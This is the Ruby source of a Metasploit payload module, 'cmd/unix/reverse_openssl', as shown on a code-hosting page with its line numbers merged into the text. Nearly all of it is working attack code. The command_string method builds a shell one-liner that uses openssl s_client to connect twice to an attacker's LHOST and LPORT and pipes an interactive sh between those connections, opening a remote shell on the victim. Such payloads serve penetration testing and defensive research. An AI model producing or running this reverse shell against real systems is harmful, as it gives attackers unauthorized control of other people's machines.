Path: blob/master/modules/payloads/singles/cmd/unix/reverse_openssl.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 18278include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Double Reverse TCP SSL (openssl)',16'Description' => 'Creates an interactive shell through two inbound connections',17'Author' => 'hdm',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseTcpDoubleSSL,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'openssl',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)31register_advanced_options(32[33OptString.new('OpenSSLPath', [true, 'The path to the OpenSSL executable', 'openssl']),34OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])35]36)37end3839#40# Constructs the payload41#42def generate(_opts = {})43vprint_good(command_string)44return super + command_string45end4647#48# Returns the command string to use for execution49#50def command_string51cmd =52"#{datastore['ShellPath']} -c '(sleep #{rand(3600..4623)}|" \53"#{datastore['OpenSSLPath']} s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" \54"while : ; do #{datastore['ShellPath']} && break; done 2>&1|" \55"#{datastore['OpenSSLPath']} s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" \56" >/dev/null 2>&1 &)'"57return cmd58end59end606162